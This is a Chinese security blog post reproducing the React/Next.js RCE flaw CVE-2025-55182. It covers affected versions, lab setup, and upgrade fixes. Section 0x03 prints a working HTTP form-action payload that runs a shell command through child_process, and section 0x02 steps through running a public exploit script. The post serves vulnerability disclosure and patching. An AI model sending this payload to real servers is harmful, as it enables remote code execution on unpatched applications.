文章总结: React和Next.js存在严重RCE漏洞CVE-2025-55182,原因是react-server-dom对Flight协议的反序列化实现不当。漏洞影响React19.x版本和Next.js14.3.0-canary.77及以上版本。文章提供了详细的漏洞复现环境搭建步骤和PoC代码,并给出了升级修复方案。虽然漏洞严重,但实际影响有限,主要影响近一年的应用。
综合评分: 91
文章分类: 漏洞分析,WEB安全,漏洞预警
【漏洞复现】React/Next.js RCE 漏洞(CVE-2025-55182)(含靶场搭建)
原创
十九线菜鸟
十九线菜鸟学安全
2025年12月5日 10:59
天津
0x00 简述
React是Facebook开发的Web前端框架,12月4日,React 与 Next.js 官方披露了两个与 React Server Components(RSC)相关的远程命令执行严重漏洞:CVE-2025-55182(React),原因是由于react-server-dom对Flight协议的反序列化实现不当导致。
参考了墨菲安全的分析结论,此漏洞只影响近一年的应用,虽然漏洞很严重,但实际影响并不大。
0x01 影响范围
React (react-server & dom-variants):
19.0.0
19.0.1
19.1.x
19.2.0
Next.js:
Next.js v15.0.0 – v15.0.4
Next.js v15.1.0 – v15.1.8
Next.js v15.2.x – v15.5.6
Next.js v16.0.0 – v16.0.6
Next.js v14.3.0-canary.77 及以上 Canary 版本
0x02 环境搭建
PoC:https://github.com/ejpir/CVE-2025-55182-poc.git
安装npm
| |
| — |
| # 更新系统包 sudo apt update && sudo apt upgrade -y # 安装 Node.js 和 npm(以 v18 为例) curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash – sudo apt install -y nodejs git # 验证安装 node -v # 应输出 v18.x.x npm -v # 应输出 9.x.x 或更高 |
下载PoC并部署环境
| |
| — |
| # 克隆代码仓库 git clone https://github.com/ejpir/CVE-2025-55182-poc.git cd CVE-2025-55182-poc # 安装项目依赖,进入项目目录下执行安装命令 npm install |
启动环境:
| |
| — |
| # 启动主服务器(支持直接 RCE 测试) node –conditions react-server –conditions webpack src/server.js |
上面这个窗口不关,再开一个shell执行rce脚本:
| |
| — |
| node exploit-rce-v4.js |
至此环境搭建完成。
0x03 PoC
| |
| — |
| POST /formaction HTTP/1.1 Host: 192.168.131.144:3002 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Content-Type: multipart/form-data; boundary=—-Boundary123 Content-Length: 296 ——Boundary123 Content-Disposition: form-data; name=”$ACTION_REF_0″ ——Boundary123 Content-Disposition: form-data; name=”$ACTION_0:0″ {“id”:”vm#runInThisContext”,”bound”:[“global.process.mainModule.require(\”child_process\”).execSync(\”whoami\”).toString()”]} ——Boundary123– |
0x04 漏洞修复(参考360漏洞研究院)
React核心包升级方案:
立即升级到已修复的React版本。官方已发布以下安全修复版本:
React 19.0.1(修复19.0.0)
React 19.1.2(修复19.1.0和19.1.1)
React 19.2.1(修复19.2.0)
受影响包的升级命令:
升级React核心包到最新版本
npm install react@latest react-dom@latest
升级受影响的服务器组件包
npm install react-server-dom-webpack@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-turbopack@latest
框架特定升级方案:
Next.js应用:
使用React Server Components和App Router的Next.js应用需要立即升级到以下已修复版本,这些版本包含了加固的React Server Components实现:
修复版本列表:
15.0.5(修复15.0.x系列)
15.1.9(修复15.1.x系列)
15.2.6(修复15.2.x系列)
15.3.6(修复15.3.x系列)
15.4.8(修复15.4.x系列)
15.5.7(修复15.5.x系列)
16.0.7(修复16.0.x系列)
升级命令(根据当前版本选择对应的修复版本):
npm install [email protected] # 适用于15.0.x用户
npm install [email protected] # 适用于15.1.x用户
npm install [email protected] # 适用于15.2.x用户
npm install [email protected] # 适用于15.3.x用户
npm install [email protected] # 适用于15.4.x用户
npm install [email protected] # 适用于15.5.x用户
npm install [email protected] # 适用于16.0.x用户
对于使用Next.js 14.3.0-canary.77或更高canary版本的用户,建议降级到最新的14.x稳定版本:
npm install next@14
React Router应用:
如果使用React Router的不稳定RSC API,需要升级相关依赖:
npm install react@latest react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:十九线菜鸟学安全 十九线菜鸟《【漏洞复现】React/Next.js RCE 漏洞(CVE-2025-55182)(含靶场搭建)》